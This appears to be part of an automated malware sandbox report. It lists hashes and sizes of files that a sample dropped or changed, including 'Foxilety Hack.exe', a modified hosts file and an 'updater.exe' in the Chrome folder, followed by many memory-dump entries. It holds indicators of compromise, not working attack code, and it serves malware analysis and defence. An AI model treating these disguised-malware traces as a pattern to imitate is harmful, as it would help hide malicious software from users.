MD5
7cf53e548a375b862a62d31f6393cc2a

SHA1
0838559db04c714857d691579e0a5c974bc96821

SHA256
6e2e284bdcb0ce98d314ca811181824f2dffc1fb6168466708953f5b0981bef1

SHA512
62e356e8afb1c655f245c4ba1abd3ec61471d922825d87d5486f3152d2ccd56f505e8cb1dc7917b74f0a8e04b9fef8528b432eaed724f1d833d6347e6b3e5549

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\309axvf\imagestore.dat
Filesize
5KB

MD5
801ec8124025881aa994fe98ddfc6d74

SHA1
a17221986597a911057137d7fc7913f5d819aeea

SHA256
944824e0562cba79edb181120ff7beb64717215e217fd7f4e95d5f4e4bdf4ec1

SHA512
de7513046dd9da8b8bbe847014463d3b7540242f205bd2bc0a6539a88c554f1e5ca8fa4e94c3f6f1c0adf94946aed0746690d13c5145e9d31a9594f41a4ead96

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZN60M0QQ\FoxiletyHack.rar.jve8x5m.partial
Filesize
3.7MB

MD5
baf2d00e7e98f20b982e2d6725300d20

SHA1
e9955f05e615d261dddf908f8dd52cecb983acb3

SHA256
56225fd409cb6f94305520df5b7c6259f68c46a3a66cbdbaecaf163dbd1a8a40

SHA512
1c26c35524e0a618ec21742bc1e5a67dbd5e91a90f1dfe53ee183d380a7c06ce2e0506e7043f322bf5bbc577ad74430dbb296efb39ff3442faa00be45c609283

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zO034CB6ED\Если не запускается.txt
Filesize
1KB

MD5
42df4af92d440d61e663a41dac3476e9

SHA1
b004978fd6dc7131cf802679acf810cec83aa564

SHA256
efdddb2abee962843ed888f3762eaf96c6b285bf023e4f3d0f39fed447e5c4eb

SHA512
721472c13ec26f364492428ee14652b427c3d346ee68b925e4877a1bfbc8d58cdc0f64c0df4bcd7f18d7f99726b4b419ee93ea8b3099d6eef0480d2d72f80f3d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\SYM0LCPH.txt
Filesize
603B

MD5
69a07845730a975a15b2610e4f5b7efc

SHA1
cac0cd41df7989c4c0f09fcf265aacdf3e6979a5

SHA256
2a5366d8024941d502e72953dbe2bd897b658024bad95622bf2a04c699a219c1

SHA512
81ce8a3e099cfb3551cfd6a03f76f3049f78bf1a400ecc8dd61a59a057e27932ed90b310f89019c1e4ced71b60b126c17e9718e9edaa14ce6ee56bd88ad25af1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4fe0129d23f3fbec0ac611e7642bf284

SHA1
af25b970da22e0d4cf8adcc4289dadd6468669be

SHA256
e6f591c1cb9813b2091a32674c3aa79f44ff6d02c87dc0e9dfadc1410bc35756

SHA512
08ed7d28c465d1b3174a81bfc701361ee44c7d9d84a8c2606ade326abbbd2befb9f20fd5ecee1d47f579502c94879c61310c7455eddbc99cb9dfbebe3ad26ff0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4fe0129d23f3fbec0ac611e7642bf284

SHA1
af25b970da22e0d4cf8adcc4289dadd6468669be

SHA256
e6f591c1cb9813b2091a32674c3aa79f44ff6d02c87dc0e9dfadc1410bc35756

SHA512
08ed7d28c465d1b3174a81bfc701361ee44c7d9d84a8c2606ade326abbbd2befb9f20fd5ecee1d47f579502c94879c61310c7455eddbc99cb9dfbebe3ad26ff0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4fe0129d23f3fbec0ac611e7642bf284

SHA1
af25b970da22e0d4cf8adcc4289dadd6468669be

SHA256
e6f591c1cb9813b2091a32674c3aa79f44ff6d02c87dc0e9dfadc1410bc35756

SHA512
08ed7d28c465d1b3174a81bfc701361ee44c7d9d84a8c2606ade326abbbd2befb9f20fd5ecee1d47f579502c94879c61310c7455eddbc99cb9dfbebe3ad26ff0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4fe0129d23f3fbec0ac611e7642bf284

SHA1
af25b970da22e0d4cf8adcc4289dadd6468669be

SHA256
e6f591c1cb9813b2091a32674c3aa79f44ff6d02c87dc0e9dfadc1410bc35756

SHA512
08ed7d28c465d1b3174a81bfc701361ee44c7d9d84a8c2606ade326abbbd2befb9f20fd5ecee1d47f579502c94879c61310c7455eddbc99cb9dfbebe3ad26ff0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4fe0129d23f3fbec0ac611e7642bf284

SHA1
af25b970da22e0d4cf8adcc4289dadd6468669be

SHA256
e6f591c1cb9813b2091a32674c3aa79f44ff6d02c87dc0e9dfadc1410bc35756

SHA512
08ed7d28c465d1b3174a81bfc701361ee44c7d9d84a8c2606ade326abbbd2befb9f20fd5ecee1d47f579502c94879c61310c7455eddbc99cb9dfbebe3ad26ff0

Download Submit
C:\Users\Admin\Desktop\Foxilety Hack.exe
Filesize
4.0MB

MD5
eced325933bf0a7d69dfa8f8e294b77d

SHA1
04b4c9a68a56f59772b284b6a5cb46306348f5de

SHA256
304d600747347c488448f0a608fb3106aea19bcef63c1ea936f513291b257e9d

SHA512
a64fa8c855e9d970ee89e6c53f7d5518e3481a646fd3a1b91a9ad0cbe5abf66b3a667f62e40584f46cadab5afa5cef717f4b4e121b1908d7e87d88ef3e3c9925

Download Submit
C:\Users\Admin\Desktop\Foxilety Hack.exe
Filesize
4.0MB

MD5
eced325933bf0a7d69dfa8f8e294b77d

SHA1
04b4c9a68a56f59772b284b6a5cb46306348f5de

SHA256
304d600747347c488448f0a608fb3106aea19bcef63c1ea936f513291b257e9d

SHA512
a64fa8c855e9d970ee89e6c53f7d5518e3481a646fd3a1b91a9ad0cbe5abf66b3a667f62e40584f46cadab5afa5cef717f4b4e121b1908d7e87d88ef3e3c9925

Download Submit
C:\Users\Admin\Desktop\Foxilety Hack.exe
Filesize
4.0MB

MD5
eced325933bf0a7d69dfa8f8e294b77d

SHA1
04b4c9a68a56f59772b284b6a5cb46306348f5de

SHA256
304d600747347c488448f0a608fb3106aea19bcef63c1ea936f513291b257e9d

SHA512
a64fa8c855e9d970ee89e6c53f7d5518e3481a646fd3a1b91a9ad0cbe5abf66b3a667f62e40584f46cadab5afa5cef717f4b4e121b1908d7e87d88ef3e3c9925

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
2db83e0e12d5a8e81b9ba7c3c264be16

SHA1
4aa3e14af70f1f71dc93d0cc6069a7f61f514e6b

SHA256
fb9e45d984f94b048bf14bebf287fc0d29636c7bf4de34fb4b862a7059cfc22e

SHA512
026ba05be71484d098679a9e5207bf43df48ae4d5b30d3edab4d4a1f5aff87e790b5a43cb88024d577f739d6ff3da6b0109f20a3c24a8e81d20aded166197410

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
2db83e0e12d5a8e81b9ba7c3c264be16

SHA1
4aa3e14af70f1f71dc93d0cc6069a7f61f514e6b

SHA256
fb9e45d984f94b048bf14bebf287fc0d29636c7bf4de34fb4b862a7059cfc22e

SHA512
026ba05be71484d098679a9e5207bf43df48ae4d5b30d3edab4d4a1f5aff87e790b5a43cb88024d577f739d6ff3da6b0109f20a3c24a8e81d20aded166197410

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
2db83e0e12d5a8e81b9ba7c3c264be16

SHA1
4aa3e14af70f1f71dc93d0cc6069a7f61f514e6b

SHA256
fb9e45d984f94b048bf14bebf287fc0d29636c7bf4de34fb4b862a7059cfc22e

SHA512
026ba05be71484d098679a9e5207bf43df48ae4d5b30d3edab4d4a1f5aff87e790b5a43cb88024d577f739d6ff3da6b0109f20a3c24a8e81d20aded166197410

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
4.0MB

MD5
d0a0aca868f5f8d1428aefa597d3f840

SHA1
3031aa7c4184bce2901aaae59cb5555c9374bfbd

SHA256
56ef78469e84be560e7a61ad6c086944c061b8a627c4e5eb8ad07029f05c8f08

SHA512
fdc7709049f4ff0b8e65806cc2c057969b687d7ed89bc470bd10028d217fe0e10bf8618d870907c0b42709daf2a50be345ad41de910cc83b6fce118d747e2672

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
4.0MB

MD5
d0a0aca868f5f8d1428aefa597d3f840

SHA1
3031aa7c4184bce2901aaae59cb5555c9374bfbd

SHA256
56ef78469e84be560e7a61ad6c086944c061b8a627c4e5eb8ad07029f05c8f08

SHA512
fdc7709049f4ff0b8e65806cc2c057969b687d7ed89bc470bd10028d217fe0e10bf8618d870907c0b42709daf2a50be345ad41de910cc83b6fce118d747e2672

Download Submit
\Users\Admin\Desktop\Foxilety Hack.exe
Filesize
4.0MB

MD5
eced325933bf0a7d69dfa8f8e294b77d

SHA1
04b4c9a68a56f59772b284b6a5cb46306348f5de

SHA256
304d600747347c488448f0a608fb3106aea19bcef63c1ea936f513291b257e9d

SHA512
a64fa8c855e9d970ee89e6c53f7d5518e3481a646fd3a1b91a9ad0cbe5abf66b3a667f62e40584f46cadab5afa5cef717f4b4e121b1908d7e87d88ef3e3c9925

Download Submit
\Users\Admin\Desktop\Foxilety Hack.exe
Filesize
4.0MB

MD5
eced325933bf0a7d69dfa8f8e294b77d

SHA1
04b4c9a68a56f59772b284b6a5cb46306348f5de

SHA256
304d600747347c488448f0a608fb3106aea19bcef63c1ea936f513291b257e9d

SHA512
a64fa8c855e9d970ee89e6c53f7d5518e3481a646fd3a1b91a9ad0cbe5abf66b3a667f62e40584f46cadab5afa5cef717f4b4e121b1908d7e87d88ef3e3c9925

Download Submit
memory/188-192-0x0000000000000000-mapping.dmp

Download
memory/344-162-0x0000000000000000-mapping.dmp

Download
memory/344-170-0x00000000028FB000-0x000000000291A000-memory.dmp

Filesize
124KB

Download
memory/344-165-0x000007FEF2D90000-0x000007FEF37B3000-memory.dmp

Filesize
10.1MB

Download
memory/344-200-0x0000000000000000-mapping.dmp

Download
memory/344-166-0x000007FEF2230000-0x000007FEF2D8D000-memory.dmp

Filesize
11.4MB

Download
memory/344-167-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download
memory/344-169-0x00000000028F4000-0x00000000028F7000-memory.dmp

Filesize
12KB

Download
memory/404-157-0x0000000000000000-mapping.dmp

Download
memory/404-76-0x00000000026FB000-0x000000000271A000-memory.dmp

Filesize
124KB

Download
memory/404-74-0x000000001B720000-0x000000001BA1F000-memory.dmp

Filesize
3.0MB

Download
memory/404-69-0x0000000000000000-mapping.dmp

Download
memory/404-71-0x000007FEF2D90000-0x000007FEF37B3000-memory.dmp

Filesize
10.1MB

Download
memory/404-75-0x00000000026F4000-0x00000000026F7000-memory.dmp

Filesize
12KB

Download
memory/404-72-0x000007FEF2230000-0x000007FEF2D8D000-memory.dmp

Filesize
11.4MB

Download
memory/404-73-0x00000000026F4000-0x00000000026F7000-memory.dmp

Filesize
12KB

Download
memory/524-77-0x0000000000000000-mapping.dmp

Download
memory/536-102-0x0000000000000000-mapping.dmp

Download
memory/616-112-0x0000000000000000-mapping.dmp

Download
memory/688-83-0x0000000000000000-mapping.dmp

Download
memory/828-153-0x0000000000000000-mapping.dmp

Download
memory/932-144-0x0000000000000000-mapping.dmp

Download
memory/1068-98-0x0000000000000000-mapping.dmp

Download
memory/1072-61-0x0000000000000000-mapping.dmp

Download
memory/1076-150-0x000007FEF24C0000-0x000007FEF2EE3000-memory.dmp

Filesize
10.1MB

Download
memory/1076-158-0x000000001B880000-0x000000001BB7F000-memory.dmp

Filesize
3.0MB

Download
memory/1076-160-0x0000000002824000-0x0000000002827000-memory.dmp

Filesize
12KB

Download
memory/1076-146-0x0000000000000000-mapping.dmp

Download
memory/1076-154-0x0000000002824000-0x0000000002827000-memory.dmp

Filesize
12KB

Download
memory/1076-161-0x000000000282B000-0x000000000284A000-memory.dmp

Filesize
124KB

Download
memory/1076-151-0x000007FEEDE20000-0x000007FEEE97D000-memory.dmp

Filesize
11.4MB

Download
memory/1084-65-0x0000000000000000-mapping.dmp

Download
memory/1088-193-0x0000000000000000-mapping.dmp

Download
memory/1184-152-0x0000000000000000-mapping.dmp

Download
memory/1184-59-0x000007FEFB631000-0x000007FEFB633000-memory.dmp

Filesize
8KB

Download
memory/1184-58-0x0000000000000000-mapping.dmp

Download
memory/1260-187-0x0000000000000000-mapping.dmp

Download
memory/1276-120-0x0000000001294000-0x0000000001297000-memory.dmp

Filesize
12KB

Download
memory/1276-114-0x0000000000000000-mapping.dmp

Download
memory/1276-125-0x000000000129B000-0x00000000012BA000-memory.dmp

Filesize
124KB

Download
memory/1276-124-0x0000000001294000-0x0000000001297000-memory.dmp

Filesize
12KB

Download
memory/1276-118-0x000007FEF2230000-0x000007FEF2D8D000-memory.dmp

Filesize
11.4MB

Download
memory/1276-117-0x000007FEF2D90000-0x000007FEF37B3000-memory.dmp

Filesize
10.1MB

Download
memory/1360-147-0x0000000000000000-mapping.dmp

Download
memory/1424-86-0x0000000000000000-mapping.dmp

Download
memory/1464-197-0x0000000000000000-mapping.dmp

Download
memory/1468-108-0x000007FEEE980000-0x000007FEEF4DD000-memory.dmp

Filesize
11.4MB

Download
memory/1468-111-0x000000000120B000-0x000000000122A000-memory.dmp

Filesize
124KB

Download
memory/1468-110-0x0000000001204000-0x0000000001207000-memory.dmp

Filesize
12KB

Download
memory/1468-109-0x0000000001204000-0x0000000001207000-memory.dmp

Filesize
12KB

Download
memory/1468-107-0x000007FEF23F0000-0x000007FEF2E13000-memory.dmp

Filesize
10.1MB

Download
memory/1468-104-0x0000000000000000-mapping.dmp

Download
memory/1468-182-0x0000000000000000-mapping.dmp

Download
memory/1548-128-0x0000000000000000-mapping.dmp

Download
memory/1556-191-0x00000000011FB000-0x000000000121A000-memory.dmp

Filesize
124KB

Download
memory/1556-188-0x000007FEF2D90000-0x000007FEF37B3000-memory.dmp

Filesize
10.1MB

Download
memory/1556-189-0x000007FEF2230000-0x000007FEF2D8D000-memory.dmp

Filesize
11.4MB

Download
memory/1556-196-0x00000000011FB000-0x000000000121A000-memory.dmp

Filesize
124KB

Download
memory/1556-184-0x0000000000000000-mapping.dmp

Download
memory/1556-195-0x00000000011F4000-0x00000000011F7000-memory.dmp

Filesize
12KB

Download
memory/1556-190-0x00000000011F4000-0x00000000011F7000-memory.dmp

Filesize
12KB

Download
memory/1584-126-0x00000001400014E0-mapping.dmp

Download
memory/1676-79-0x0000000000000000-mapping.dmp

Download
memory/1676-119-0x0000000000000000-mapping.dmp

Download
memory/1676-199-0x0000000000000000-mapping.dmp

Download
memory/1716-123-0x0000000000000000-mapping.dmp

Download
memory/1736-97-0x0000000002764000-0x0000000002767000-memory.dmp

Filesize
12KB

Download
memory/1736-91-0x0000000000000000-mapping.dmp

Download
memory/1736-96-0x000007FEF2230000-0x000007FEF2D8D000-memory.dmp

Filesize
11.4MB

Download
memory/1736-95-0x000007FEF2D90000-0x000007FEF37B3000-memory.dmp

Filesize
10.1MB

Download
memory/1736-99-0x0000000002764000-0x0000000002767000-memory.dmp

Filesize
12KB

Download
memory/1736-100-0x000000000276B000-0x000000000278A000-memory.dmp

Filesize
124KB

Download
memory/1756-143-0x0000000002974000-0x0000000002977000-memory.dmp

Filesize
12KB

Download
memory/1756-140-0x000000001B8A0000-0x000000001BB9F000-memory.dmp

Filesize
3.0MB

Download
memory/1756-139-0x000007FEEE980000-0x000007FEEF4DD000-memory.dmp

Filesize
11.4MB

Download
memory/1756-138-0x000007FEF23F0000-0x000007FEF2E13000-memory.dmp

Filesize
10.1MB

Download
memory/1756-142-0x000000000297B000-0x000000000299A000-memory.dmp

Filesize
124KB

Download
memory/1756-134-0x0000000000000000-mapping.dmp

Download
memory/1776-115-0x0000000000000000-mapping.dmp

Download
memory/1788-130-0x0000000000000000-mapping.dmp

Download
memory/1820-85-0x0000000000000000-mapping.dmp

Download
memory/1876-122-0x0000000000000000-mapping.dmp

Download
memory/1912-89-0x0000000000000000-mapping.dmp

Download
memory/1912-194-0x0000000000000000-mapping.dmp

Download
memory/1912-168-0x0000000000000000-mapping.dmp

Download
memory/1932-181-0x000000000125B000-0x000000000127A000-memory.dmp

Filesize
124KB

Download
memory/1932-179-0x0000000001254000-0x0000000001257000-memory.dmp

Filesize
12KB

Download
memory/1932-175-0x0000000000000000-mapping.dmp

Download
memory/1932-177-0x000007FEF23F0000-0x000007FEF2E13000-memory.dmp

Filesize
10.1MB

Download
memory/1932-178-0x000007FEEE980000-0x000007FEEF4DD000-memory.dmp

Filesize
11.4MB

Download
memory/1932-180-0x0000000001254000-0x0000000001257000-memory.dmp

Filesize
12KB

Download
memory/1940-127-0x0000000000000000-mapping.dmp

Download
memory/1944-121-0x0000000000000000-mapping.dmp

Download
memory/1964-174-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1964-141-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/1964-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1964-131-0x00000001407F25D0-mapping.dmp

Download
memory/1964-132-0x0000000000070000-0x0000000000090000-memory.dmp

Filesize
128KB

Download
memory/2028-84-0x000007FEEE980000-0x000007FEEF4DD000-memory.dmp

Filesize
11.4MB

Download
memory/2028-159-0x0000000000000000-mapping.dmp

Download
memory/2028-82-0x000007FEF23F0000-0x000007FEF2E13000-memory.dmp

Filesize
10.1MB

Download
memory/2028-88-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/2028-78-0x0000000000000000-mapping.dmp

Download
memory/2028-87-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/2032-172-0x0000000000000000-mapping.dmp

Download